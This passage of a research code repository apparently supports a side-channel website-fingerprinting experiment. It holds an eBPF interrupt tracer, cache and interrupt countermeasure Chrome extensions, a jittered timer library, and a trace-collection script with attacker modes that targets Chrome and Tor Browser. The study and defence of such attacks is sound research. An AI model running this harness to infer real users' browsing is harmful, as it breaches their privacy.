146 | bcc::Tracepoint::new()
147 | .handler("tracepoint__syscalls__sys_enter_clock_gettime")
148 | .subsystem("syscalls")
149 | .tracepoint("sys_enter_clock_gettime")
150 | .attach(&mut module)
151 | .expect("failed to attach tracepoint");
152 |
153 | bcc::Tracepoint::new()
154 | .handler("tracepoint__exceptions__page_fault_user")
155 | .subsystem("exceptions")
156 | .tracepoint("page_fault_user")
157 | .attach(&mut module)
158 | .expect("failed to attach tracepoint");
159 |
160 | bcc::Tracepoint::new()
161 | .handler("tracepoint__exceptions__page_fault_kernel")
162 | .subsystem("exceptions")
163 | .tracepoint("page_fault_kernel")
164 | .attach(&mut module)
165 | .expect("failed to attach tracepoint");
166 |
167 | for interrupt in [
168 | "generic_handle_irq",
169 | "__sysvec_apic_timer_interrupt",
170 | "__sysvec_spurious_apic_interrupt",
171 | "__sysvec_call_function",
172 | "__sysvec_call_function_single",
173 | "__sysvec_x86_platform_ipi",
174 | "__sysvec_thermal",
175 | "__sysvec_irq_work",
176 | "__sysvec_deferred_error",
177 | "__sysvec_threshold",
178 | "__sysvec_irq_move_cleanup",
179 | "__sysvec_error_interrupt",
180 | // "__do_softirq",
181 | // "irqtime_account_irq",
182 | ] {
183 | bcc::Kprobe::new()
184 | .handler(interrupt)
185 | .function(interrupt)
186 | .attach(&mut module)
187 | .unwrap();
188 | }
189 |
190 | let table = module.table("interrupts").expect("failed to get table");
191 |
192 | let start_time = time();
193 | let end_time = start_time + opt.timeout.unwrap_or(5000) * 1000000;
194 |
195 | let mut t = start_time;
196 | while t < end_time {
197 | let t2 = time();
198 | if t2 - t > opt.ns_threshold.unwrap_or(500) {
199 | gaps.push((t - start_time, t2 - t));
200 | t = time();
201 | } else {
202 | t = t2;
203 | }
204 | }
205 |
206 | let mut counts = BTreeMap::new();
207 | let mut irq_times = Vec::new();
208 | for e in &table {
209 | let key = Cursor::new(e.key).read_u64::().unwrap();
210 | let value = Cursor::new(e.value).read_i32::().unwrap();
211 | if key > start_time && key < t {
212 | irq_times.push((key - start_time, value));
213 | *counts.entry(value).or_insert(0) += 1;
214 | }
215 | }
216 |
217 | irq_times.sort_by_key(|(t, _)| *t);
218 |
219 | eprintln!("{:#?}", counts);
220 |
221 | let mut gap_sequence: BTreeMap<_, Vec<_>> = BTreeMap::new();
222 |
223 | let total_gaps = gaps.len();
224 | let mut explained_gaps = 0;
225 |
226 | for (start, length) in gaps {
227 | let irq_index = irq_times.binary_search_by(|(t, _kind)| {
228 | if *t < start - 150 {
229 | std::cmp::Ordering::Less
230 | } else if *t > start + length + 150 {
231 | std::cmp::Ordering::Greater
232 | } else {
233 | std::cmp::Ordering::Equal
234 | }
235 | });
236 |
237 | if let Ok(irq_index) = irq_index {
238 | let (t, kind) = irq_times[irq_index];
239 | gap_sequence.entry(kind).or_default().push(t);
240 | explained_gaps += 1;
241 | }
242 | }
243 |
244 | println!("{:.2}", explained_gaps as f32 / total_gaps as f32 * 100.0);
245 | for (kind, gaps) in gap_sequence {
246 | print!("{}", kind);
247 | for g in gaps {
248 | print!(" {}", g);
249 | }
250 | println!();
251 | }
252 | eprintln!("{}/{}", irq_times.len(), total_gaps);
253 | }
254 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/cache.crx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/extensions/cache.crx
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/cache/background.js:
--------------------------------------------------------------------------------
1 | const domains = [
2 | "https://www.google.com/",
3 | "https://www.youtube.com/",
4 | "https://www.tmall.com/",
5 | "https://www.qq.com/",
6 | "https://www.baidu.com/",
7 | "https://www.sohu.com/",
8 | "https://www.facebook.com/",
9 | "https://www.taobao.com/",
10 | "https://www.jd.com/",
11 | "https://www.amazon.com/",
12 | "https://www.yahoo.com/",
13 | "https://www.wikipedia.org/",
14 | "https://www.weibo.com/",
15 | "https://sina.com.cn/",
16 | "https://www.zoom.us/",
17 | "http://www.xinhuanet.com/",
18 | "https://www.live.com/",
19 | "https://www.reddit.com/",
20 | "https://www.netflix.com/",
21 | "https://www.microsoft.com/",
22 | "https://www.instagram.com/",
23 | "https://www.office.com/",
24 | "https://panda.tv/",
25 | "https://www.zhanqi.tv/",
26 | "https://www.alipay.com/",
27 | "https://www.bing.com/",
28 | "https://www.csdn.net/",
29 | "https://www.vk.com/",
30 | "https://www.myshopify.com/",
31 | "https://www.naver.com/",
32 | "https://www.okezone.com/",
33 | "https://www.twitch.tv/",
34 | "https://www.twitter.com/",
35 | "https://www.ebay.com/",
36 | "https://www.adobe.com/",
37 | "https://www.tianya.cn/",
38 | "https://www.huanqiu.com/",
39 | "https://www.yy.com/",
40 | "https://www.aliexpress.com/",
41 | "https://www.linkedin.com/",
42 | "https://www.force.com/",
43 | "https://www.aparat.com/",
44 | "https://www.mail.ru/",
45 | "https://www.msn.com/",
46 | "https://www.dropbox.com/",
47 | "https://www.whatsapp.com/",
48 | "https://www.apple.com/",
49 | "https://www.1688.com/",
50 | "https://www.wordpress.com/",
51 | "https://www.canva.com/",
52 | "https://www.indeed.com/",
53 | "https://www.stackoverflow.com/",
54 | "https://www.ok.ru/",
55 | "https://www.so.com/",
56 | "https://www.chase.com/",
57 | "https://www.imdb.com/",
58 | "https://www.slack.com/",
59 | "https://www.etsy.com/",
60 | "https://www.tiktok.com/",
61 | "https://www.booking.com/",
62 | "https://www.babytree.com/",
63 | "https://rakuten.co.jp/",
64 | "https://www.salesforce.com/",
65 | "https://www.spotify.com/",
66 | "https://www.tribunnews.com/",
67 | "https://www.fandom.com/",
68 | "https://www.tradingview.com/",
69 | "https://www.github.com/",
70 | "https://www.haosou.com/",
71 | "https://www.paypal.com/",
72 | "https://www.cnblogs.com/",
73 | "https://www.alibaba.com/",
74 | "https://www.kompas.com/",
75 | "https://gome.com.cn/",
76 | "https://www.walmart.com/",
77 | "https://www.roblox.com/",
78 | "https://www.6.cn/",
79 | "https://www.zillow.com/",
80 | "https://www.godaddy.com/",
81 | "https://www.imgur.com/",
82 | "https://www.espn.com/",
83 | "https://www.bbc.com/",
84 | "https://www.hao123.com/",
85 | "https://www.pikiran-rakyat.com/",
86 | "https://www.grammarly.com/",
87 | "https://www.cnn.com/",
88 | "https://www.telegram.org/",
89 | "https://www.tumblr.com/",
90 | "https://www.nytimes.com/",
91 | "https://www.detik.com/",
92 | "https://www.wetransfer.com/",
93 | "https://www.savefrom.net/",
94 | "https://www.rednet.cn/",
95 | "https://www.freepik.com/",
96 | "https://www.ilovepdf.com/",
97 | "https://www.daum.net/",
98 | "https://www.pinterest.com/",
99 | "https://www.primevideo.com/",
100 | "https://www.intuit.com/",
101 | "https://www.medium.com/",
102 | ];
103 |
104 | const loadTime = 15000;
105 | let loading = false;
106 | let startTime = 0;
107 |
108 | const L3_SIZE = 6 * 1024 * 1024;
109 | const M = new Int32Array(L3_SIZE / 4);
110 | M.fill(-1, 0, M.length);
111 |
112 | chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
113 | if (changeInfo.status === "loading") {
114 | if (loading) {
115 | return;
116 | }
117 |
118 | startTime = performance.now();
119 | loading = true;
120 |
121 | while (performance.now() - startTime < loadTime) {
122 | // Access entire LLC
123 | let val = 0;
124 | for (let i = 0; i < M.length / 16; i++) {
125 | val = M[i * 16];
126 | }
127 | }
128 | } else if (changeInfo.status === "complete") {
129 | loading = false;
130 | }
131 | });
132 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/cache/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Cache countermeasure",
3 | "version": "1.0",
4 | "manifest_version": 3,
5 | "background": {
6 | "service_worker": "background.js"
7 | },
8 | "action": {},
9 | "host_permissions": ["*://*/*"]
10 | }
11 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/interrupts.crx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/extensions/interrupts.crx
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/interrupts/background.js:
--------------------------------------------------------------------------------
1 | const domains = [
2 | "https://www.google.com/",
3 | "https://www.youtube.com/",
4 | "https://www.tmall.com/",
5 | "https://www.qq.com/",
6 | "https://www.baidu.com/",
7 | "https://www.sohu.com/",
8 | "https://www.facebook.com/",
9 | "https://www.taobao.com/",
10 | "https://www.jd.com/",
11 | "https://www.amazon.com/",
12 | "https://www.yahoo.com/",
13 | "https://www.wikipedia.org/",
14 | "https://www.weibo.com/",
15 | "https://sina.com.cn/",
16 | "https://www.zoom.us/",
17 | "http://www.xinhuanet.com/",
18 | "https://www.live.com/",
19 | "https://www.reddit.com/",
20 | "https://www.netflix.com/",
21 | "https://www.microsoft.com/",
22 | "https://www.instagram.com/",
23 | "https://www.office.com/",
24 | "https://panda.tv/",
25 | "https://www.zhanqi.tv/",
26 | "https://www.alipay.com/",
27 | "https://www.bing.com/",
28 | "https://www.csdn.net/",
29 | "https://www.vk.com/",
30 | "https://www.myshopify.com/",
31 | "https://www.naver.com/",
32 | "https://www.okezone.com/",
33 | "https://www.twitch.tv/",
34 | "https://www.twitter.com/",
35 | "https://www.ebay.com/",
36 | "https://www.adobe.com/",
37 | "https://www.tianya.cn/",
38 | "https://www.huanqiu.com/",
39 | "https://www.yy.com/",
40 | "https://www.aliexpress.com/",
41 | "https://www.linkedin.com/",
42 | "https://www.force.com/",
43 | "https://www.aparat.com/",
44 | "https://www.mail.ru/",
45 | "https://www.msn.com/",
46 | "https://www.dropbox.com/",
47 | "https://www.whatsapp.com/",
48 | "https://www.apple.com/",
49 | "https://www.1688.com/",
50 | "https://www.wordpress.com/",
51 | "https://www.canva.com/",
52 | "https://www.indeed.com/",
53 | "https://www.stackoverflow.com/",
54 | "https://www.ok.ru/",
55 | "https://www.so.com/",
56 | "https://www.chase.com/",
57 | "https://www.imdb.com/",
58 | "https://www.slack.com/",
59 | "https://www.etsy.com/",
60 | "https://www.tiktok.com/",
61 | "https://www.booking.com/",
62 | "https://www.babytree.com/",
63 | "https://rakuten.co.jp/",
64 | "https://www.salesforce.com/",
65 | "https://www.spotify.com/",
66 | "https://www.tribunnews.com/",
67 | "https://www.fandom.com/",
68 | "https://www.tradingview.com/",
69 | "https://www.github.com/",
70 | "https://www.haosou.com/",
71 | "https://www.paypal.com/",
72 | "https://www.cnblogs.com/",
73 | "https://www.alibaba.com/",
74 | "https://www.kompas.com/",
75 | "https://gome.com.cn/",
76 | "https://www.walmart.com/",
77 | "https://www.roblox.com/",
78 | "https://www.6.cn/",
79 | "https://www.zillow.com/",
80 | "https://www.godaddy.com/",
81 | "https://www.imgur.com/",
82 | "https://www.espn.com/",
83 | "https://www.bbc.com/",
84 | "https://www.hao123.com/",
85 | "https://www.pikiran-rakyat.com/",
86 | "https://www.grammarly.com/",
87 | "https://www.cnn.com/",
88 | "https://www.telegram.org/",
89 | "https://www.tumblr.com/",
90 | "https://www.nytimes.com/",
91 | "https://www.detik.com/",
92 | "https://www.wetransfer.com/",
93 | "https://www.savefrom.net/",
94 | "https://www.rednet.cn/",
95 | "https://www.freepik.com/",
96 | "https://www.ilovepdf.com/",
97 | "https://www.daum.net/",
98 | "https://www.pinterest.com/",
99 | "https://www.primevideo.com/",
100 | "https://www.intuit.com/",
101 | "https://www.medium.com/",
102 | ];
103 |
104 | const loadTime = 15000;
105 | let loading = false;
106 | let startTime = 0;
107 |
108 | function randomPing() {
109 | const controller = new AbortController();
110 | const id = setTimeout(
111 | () => controller.abort(),
112 | loadTime - (performance.now() - startTime)
113 | );
114 |
115 | fetch(
116 | domains[Math.floor(Math.random() * domains.length)] +
117 | "?" +
118 | new Date().getTime(),
119 | {
120 | signal: controller.signal,
121 | }
122 | );
123 | }
124 |
125 | function activityBurst() {
126 | switch (Math.floor(Math.random() * 2)) {
127 | case 0:
128 | let start = performance.now();
129 | let counter = 0;
130 |
131 | while (performance.now() - start < 5) {
132 | counter += 1;
133 | }
134 |
135 | console.log(counter);
136 | break;
137 | case 1:
138 | randomPing();
139 | break;
140 | }
141 | }
142 |
143 | chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
144 | if (changeInfo.status === "loading") {
145 | if (loading) {
146 | return;
147 | }
148 |
149 | startTime = performance.now();
150 | loading = true;
151 |
152 | for (let i = 0; i < 20; i++) {
153 | randomPing();
154 | }
155 |
156 | for (let i = 0; i < loadTime / 10; i++) {
157 | setTimeout(activityBurst, Math.random() * loadTime);
158 | }
159 | } else if (changeInfo.status === "complete") {
160 | loading = false;
161 | }
162 | });
163 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/extensions/interrupts/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Interrupts countermeasure",
3 | "version": "1.0",
4 | "manifest_version": 3,
5 | "background": {
6 | "service_worker": "background.js"
7 | },
8 | "action": {},
9 | "host_permissions": ["*://*/*"]
10 | }
11 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/lib/timer.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | static const uint64_t c1 = 0xFF51AFD7ED558CCD;
7 | static const uint64_t c2 = 0xC4CEB9FE1A85EC53;
8 |
9 | static const uint64_t kMantissaMask = 0x000FFFFFFFFFFFFF;
10 | static const uint64_t kExponentBits = 0x3FF0000000000000;
11 |
12 | static const uint64_t secret = 0x7CAD93BF4A120ED1;
13 |
14 | double timeResolutionSeconds = 1e-4;
15 | bool enableJitter = true;
16 |
17 | typedef union
18 | {
19 | uint64_t i;
20 | double d;
21 | } u;
22 |
23 | uint64_t bit_cast_to_int(double x)
24 | {
25 | u u1;
26 | u1.d = x;
27 | return u1.i;
28 | }
29 |
30 | double bit_cast_to_double(uint64_t x)
31 | {
32 | u u1;
33 | u1.i = x;
34 | return u1.d;
35 | }
36 |
37 | uint64_t murmur_hash_3(uint64_t value)
38 | {
39 | value ^= value >> 33;
40 | value *= c1;
41 | value ^= value >> 33;
42 | value *= c2;
43 | value ^= value >> 33;
44 | return value;
45 | }
46 |
47 | double to_double(uint64_t value)
48 | {
49 | uint64_t random = (value & kMantissaMask) | kExponentBits;
50 | return bit_cast_to_double(random) - 1;
51 | }
52 |
53 | double threshold_for(double clamped_time)
54 | {
55 | uint64_t time_hash = murmur_hash_3(bit_cast_to_int(clamped_time) ^ secret);
56 | return clamped_time + timeResolutionSeconds * to_double(time_hash);
57 | }
58 |
59 | double clamp_time_resolution(double time_seconds)
60 | {
61 | double clamped_time =
62 | floor(time_seconds / timeResolutionSeconds) * timeResolutionSeconds;
63 |
64 | if (enableJitter)
65 | {
66 | double tick_threshold = threshold_for(clamped_time);
67 |
68 | if (time_seconds >= tick_threshold)
69 | return clamped_time + timeResolutionSeconds;
70 | }
71 |
72 | return clamped_time;
73 | }
74 |
75 | void configure_timer(double resolution, bool use_jitter)
76 | {
77 | timeResolutionSeconds = resolution;
78 | enableJitter = use_jitter;
79 | }
80 |
81 | double timer()
82 | {
83 | struct timespec time;
84 | clock_gettime(CLOCK_REALTIME, &time);
85 | double time_seconds = time.tv_sec + time.tv_nsec / 1e9;
86 | return clamp_time_resolution(time_seconds);
87 | }
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com0.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com0.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com1.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com2.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com3.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com4.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com5.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/amazon.com6.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com6.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/cat.py:
--------------------------------------------------------------------------------
1 | import pickle
2 | import sys
3 | import matplotlib.pyplot as plt
4 | import numpy as np
5 | import argparse
6 | import pickle
7 | import os
8 | import warnings
9 | path=sys.argv[1]
10 | print(path)
11 | if os.path.isdir(path):
12 | # If directory, find all .pkl files
13 | filepaths = [os.path.join(path, x) for x in os.listdir(path) if x.endswith(".pkl")]
14 | elif os.path.isfile(path):
15 | # If single file, just use this one
16 | filepaths = [path]
17 | else:
18 | raise RuntimeError
19 |
20 | for file in filepaths:
21 | f = open(file, "rb")
22 | i=0
23 |
24 | while True:
25 | try:
26 | data = pickle.load(f)
27 | traces_i, labels_i = data[0], data[1]
28 | traces_i=np.array(traces_i)
29 | x=np.arange(0,traces_i.shape[1],1)
30 | plt.scatter(x,traces_i,s=2)
31 | plt.savefig(path+'/'+labels_i[12:]+str(i)+'.jpg')
32 | i+=1;
33 | except EOFError:
34 | break
35 |
36 |
37 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com0.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com0.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com1.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com2.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com3.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com4.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com5.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/nytimes.com6.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com6.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com0.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com0.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com1.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com2.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com3.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com4.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com5.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/plot/tiktok.com6.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com6.jpg
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/record_data.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | if "DISPLAY" not in os.environ:
4 | # Start selenium on main display if starting experiment over SSH
5 | os.environ["DISPLAY"] = ":0"
6 |
7 | from enum import Enum
8 |
9 | import argparse
10 | import ctypes
11 | import json
12 | import logging
13 | import math
14 | import os
15 | import pickle
16 | import queue
17 | import requests
18 | import shutil
19 | import signal
20 | import subprocess
21 | import sys
22 | import threading
23 | import time
24 | from ctypes import *
25 | import os
26 |
27 | from drivers import LinksDriver, RemoteDriver, SafariDriver
28 |
29 | from flask import Flask, send_from_directory
30 | from requests.exceptions import ConnectionError, ContentDecodingError, ReadTimeout, TooManyRedirects
31 | from selenium import webdriver
32 | from selenium.common.exceptions import InvalidSessionIdException, TimeoutException
33 | from selenium.webdriver.chrome.options import Options
34 | from tqdm import tqdm, trange
35 | from urllib3.exceptions import MaxRetryError, ProtocolError
36 |
37 | import pandas as pd
38 |
39 | class Browser(Enum):
40 | CHROME = "chrome"
41 | CHROME_HEADLESS = "chrome_headless"
42 | FIREFOX = "firefox"
43 | SAFARI = "safari"
44 | LINKS = "links"
45 | REMOTE = "remote"
46 | TOR_BROWSER = "tor_browser"
47 |
48 | def __str__(self):
49 | return self.name.lower()
50 |
51 | def get_new_tab_url(self):
52 | if self == Browser.CHROME or self == Browser.CHROME_HEADLESS:
53 | return "chrome://new-tab-page"
54 | elif self == Browser.FIREFOX:
55 | return "about:home"
56 | elif self == Browser.SAFARI:
57 | return "favorites://"
58 | elif self == Browser.LINKS:
59 | raise NotImplementedError()
60 | elif self == Browser.REMOTE:
61 | return "biggerfish://new-tab"
62 | elif self == Browser.TOR_BROWSER:
63 | return "about:blank"
64 |
65 | parser = argparse.ArgumentParser(description='Automate the collection of browser-based CPU traces.')
66 | parser.add_argument("--browser", type=Browser, choices=list(Browser), default="chrome", help="The browser to use for the victim process.")
67 | parser.add_argument("--num_runs", type=int, default=100)
68 | parser.add_argument("--attacker_type", type=str, choices=["javascript", "javascript_cache", "counter", "ebpf","tick"], default="tick")
69 | parser.add_argument("--javascript_attacker_type", type=str, choices=["ours", "cache"], default="ours")
70 | parser.add_argument("--trace_length", type=int, default=15, help="The length of each recorded trace, in seconds.")
71 | parser.add_argument("--sites_list", type=str, default="alexa100", help="The list of sites to use. If using top n U.S. Alexa sites, should be alexan, where n >= 1.")
72 | parser.add_argument("--receiver_ip", type=str, default="0.0.0.0", help="The address of the receiver, if we're using one.")
73 | parser.add_argument("--receiver_port", type=int, default=1234, help="The port of the receiver, if we're using one.")
74 | parser.add_argument("--out_directory", type=str, default="data", help="The output directory name.")
75 | parser.add_argument("--timer_resolution", type=float, default=None, help="Resolution of the timer during counter attacks. e.g. if set to 0.001, rounds to nearest millisecond.")
76 | parser.add_argument("--enable_timer_jitter", type=bool, default=False, help="True if we want to enable Chrome's jitter algorithm during counter attacks.")
77 | parser.add_argument("--twilio_interval", type=float, default=0.1, help="Interval at which to send updates with Twilio. e.g. if set to 0.1, will send a text each time another 10%% of the traces are collected. Set to 0 to disable.")
78 | parser.add_argument("--overwrite", type=bool, default=False, help="True if we want to overwrite the output directory.")
79 | parser.add_argument("--disable_chrome_sandbox", type=bool, default=False, help="True if we want to disable Chrome's sandbox. browser must be set to chrome or chrome_headless.")
80 | parser.add_argument("--tor_browser_path", type=str, help="Path to the Tor Browser bundle. browser must be set to tor_browser.")
81 | parser.add_argument("--tor_onion_address", type=str, help="Onion address to use to access attacker over Tor.")
82 | parser.add_argument("--enable_cache_countermeasure", type=bool, default=False, help="True if we want to enable the cache countermeasure Chrome extension.")
83 | parser.add_argument("--enable_interrupts_countermeasure", type=bool, default=False, help="True if we want to enable the interrupts countermeasure Chrome extension.")
84 | parser.add_argument("--enable_timer_countermeasure", type=bool, default=False, help="True if we want to enable the randomized timer countermeasure.")
85 | parser.add_argument("--chrome_binary_path", type=str, default=None, help="Path to a directory containing chrome and chromedriver binaries, if desired.")
86 | parser.add_argument("--ebpf_ns_threshold", type=int, default=500, help="Minimum gap duration to record interrupts with eBPF tool.")
87 | opts = parser.parse_args()
88 |
89 | if opts.sites_list == "open_world" and opts.num_runs != 1:
90 | print("If sites_list = open_world, num_runs must equal 1.")
91 | sys.exit(1)
92 |
93 | if opts.disable_chrome_sandbox and opts.browser != Browser.CHROME and opts.browser != Browser.CHROME_HEADLESS:
94 | print("You can't set disable_chrome_sandbox to true unless browser is chrome or chrome_headless.")
95 | sys.exit(1)
96 |
97 | if opts.browser == Browser.REMOTE and (opts.receiver_ip is None or opts.receiver_port is None):
98 | print("If browser is remote, must pass receiver_ip and receiver_port.")
99 | sys.exit(1)
100 |
101 | if opts.attacker_type == "ebpf":
102 | # Get root access before running rest of the script
103 | subprocess.call(["sudo", "whoami"], stdout=subprocess.PIPE)
104 |
105 | if (opts.tor_browser_path is not None or opts.tor_onion_address is not None) and opts.browser != Browser.TOR_BROWSER:
106 | print("You can't set tor_browser_path or tor_onion_address without setting browser to tor_browser.")
107 | sys.exit(1)
108 |
109 | if opts.browser == Browser.TOR_BROWSER and (opts.tor_browser_path is None or opts.tor_onion_address is None):
110 | print("If browser is tor_browser, tor_browser_path and tor_onion_address must be set.")
111 | sys.exit(1)
112 |
113 | if opts.enable_timer_jitter and opts.timer_resolution is None:
114 | print("If enable_timer_jitter is true, timer_resolution must be set.")
115 | sys.exit(1)
116 |
117 | if opts.timer_resolution is not None and not os.path.exists(os.path.join("lib", "libtimer.so")):
118 | print("libtimer.so needs to be compiled. Run:")
119 | print("cc -fPIC -shared -o lib/libtimer.so lib/timer.c")
120 | sys.exit(1)
121 |
122 | if opts.enable_timer_countermeasure and opts.attacker_type != "javascript":
123 | print("If enable_timer_countermeasure is true, attacker_type must be set to javascript.")
124 | sys.exit(1)
125 |
126 | def confirm(prompt):
127 | response = input(f"{prompt} [y/N] ")
128 |
129 | if "y" not in response.lower():
130 | sys.exit(1)
131 |
132 | remote_driver = None
133 |
134 | if opts.timer_resolution is not None:
135 | c_lib = ctypes.CDLL(os.path.join(os.getcwd(), "lib", "libtimer.so"))
136 | c_lib.configure_timer.argtypes = [ctypes.c_double, ctypes.c_bool]
137 | c_lib.configure_timer(opts.timer_resolution, opts.enable_timer_jitter)
138 | c_lib.timer.restype = ctypes.c_double
139 |
140 |
141 | def get_attacker_url():
142 | if opts.browser == Browser.TOR_BROWSER:
143 | if not opts.tor_onion_address.startswith("http://"):
144 | return f"http://{opts.tor_onion_address}"
145 |
146 | return opts.tor_onion_address
147 | else:
148 | return "http://localhost:1234"
149 |
150 | def get_driver(browser):
151 | global remote_driver
152 |
153 | if browser == Browser.LINKS:
154 | return LinksDriver()
155 | elif browser == Browser.REMOTE:
156 | if remote_driver is None:
157 | remote_driver = RemoteDriver(opts.receiver_ip, opts.receiver_port)
158 |
159 | return remote_driver
160 | if browser == Browser.SAFARI:
161 | return SafariDriver(get_attacker_url())
162 | elif browser == Browser.TOR_BROWSER:
163 | from tbselenium.tbdriver import TorBrowserDriver
164 | #print(opts.tor_browser_path)
165 | return TorBrowserDriver(executable_path="/home/xin/geckodriver",tbb_path=opts.tor_browser_path,default_bridge_type='meek_lite')
166 |
167 |
168 | driver_cls = getattr(webdriver, browser.name[0] + browser.name[1:].split("_")[0].lower())
169 |
170 | if browser == Browser.CHROME or browser == Browser.CHROME_HEADLESS:
171 | chrome_opts = Options()
172 |
173 | if opts.chrome_binary_path is not None:
